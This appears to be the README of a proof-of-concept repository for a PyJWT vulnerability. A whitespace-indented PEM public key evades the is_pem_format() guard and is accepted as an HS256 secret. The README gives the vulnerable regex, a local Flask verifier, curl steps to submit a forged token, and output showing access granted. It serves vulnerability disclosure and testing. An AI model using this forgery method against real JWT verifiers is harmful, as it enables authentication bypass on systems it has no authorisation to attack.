
Exploitability PoC for CVE-2026-102-268 (PyJWT Asymmetric-PEM detection bypass).
Exploitability analysis result: the root cause is confirmed and end-to-end exploitation is reproducible. A whitespace-mutated PEM public key bypasses PyJWT's
is_pem_format()guard and is accepted as a valid HMAC secret, enabling full HS256 token forgery against any verifier that allow-listsRS256alongsideHS256. See Analysis for details.
CVE-2026-102268 is an algorithm-confusion vulnerability in PyJWT. Before using any key as an HMAC secret, HMACAlgorithm.prepare_key() calls is_pem_format() to reject keys that look like a PEM-encoded asymmetric key or certificate — the standard defense against RS256/HS256 confusion attacks.
is_pem_format() is a single regex that requires an exact \r?\n adjacency between the key body and the BEGIN/END markers. cryptography's own PEM loader has no such requirement. A PEM file with marker-adjacent whitespace, CR-only line terminators, or folded onto a single line is parsed as a perfectly valid key by cryptography.load_pem_public_key(), while is_pem_format() returns False on the identical bytes.
The consequence: the asymmetric-key guard never fires, the public key is accepted as an HMAC secret, and anyone who holds that public key — which is public by definition — can mint a valid HS256 token for any verifier that allow-lists both RS256 and HS256.
This repository contains a minimal Flask verifier and a reproduction key to confirm that claim end-to-end.
| Affected range | Fixed in |
|---|---|
| < 2.14.0 | 2.14.0 |
The vulnerable check in jwt/utils.py (all versions before 2.14.0):
# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
b"----[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
Gating on it, in jwt/algorithms.py:
# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
The regex's [- ] separators only tolerate a single dash or space directly adjacent to the marker dashes. Any other whitespace sitting between the key body's trailing newline and the END marker — an indent, a stray \r, a re-wrapped single line — makes the match fail, so is_pem_format() reports False on a file cryptography parses without complaint.
The fix (commit 8b4e233, released in 2.14.0) replaces the regex with a one-pass scanner over the supported BEGIN/END marker set that does not depend on exact newline adjacency — closing this bypass and, in the same change, a related ReDoS in the same function (CVE-2026-102270).
public_key.pem in this repository is an ordinary 2048-bit RSA public key with one change: the -----END PUBLIC KEY----- line is indented by four spaces.
1wIDAQAB
-----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout # parses cleanly, no warning
Running utils.py confirms the bypass directly against the library, independent of the Flask app:
$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}
jwt.encode(..., PUBLIC_KEY, algorithm="HS256") succeeds. On a patched PyJWT (≥ 2.14.0), this same call raises InvalidKeyError — is_pem_format() correctly flags the file as a PEM key regardless of the indent, and the HMAC path refuses it. Here, it doesn't: the four-space indent is enough to make the regex miss, and the public key bytes are accepted as an ordinary HMAC secret.
app.py reproduces the real-world precondition — a verifier whose algorithms allow-list mixes the asymmetric and symmetric algorithm:
decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])
A token forged with utils.py's approach, submitted to /verify, is accepted: /verify returns 200 and the forged claims, for a token nobody holding the private key ever signed.
cve-2026-102268-poc/
├── Dockerfile # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml # Single-service compose for the verifier
├── requirements.txt # Flask, Werkzeug, PyJWT==2.4.0
├── app.py # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem # RSA public key, END marker indented by 4 spaces
└── README.md
| Tool | Version | Notes |
|---|---|---|
| Podman | ≥ 4.0 | Docker works too |
| Python | ≥ 3.9 | Only for running utils.py locally |
| curl | any | For exercising /verify directly |
podman-compose up -d
Wait a few seconds, then confirm the service is up:
curl -si http://localhost:8080/verify -X POST \
-H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400 (missing token, but the service is reachable)
python utils.py
This signs {"some": "payload"} with public_key.pem using HS256 and prints the resulting JWT — the forgery primitive. Copy the encoded token.
curl -s http://localhost:8080/verify \
-H 'Content-Type: application/json' \
-d '{"token": "<forged-jwt-here>"}'
podman-compose down
Repeat step 2 with PyJWT>=2.14.0 installed in place of the pinned 2.4.0 in requirements.txt. jwt.encode() raises InvalidKeyError before a token is ever produced.
============================================================
CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
Key : public_key.pem (RSA public key, END marker indented)
Target : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...
[2] Submitting forged token to /verify (algorithms=["RS256","HS256"])...
------------------------------------------------------------
[✓] HTTP 200 — Access granted
{"message": "Access granted", "payload": {"some": "payload"}}
is_pem_format(PUBLIC_KEY) returned False — the asymmetric-key
guard in HMACAlgorithm.prepare_key() never fired.
============================================================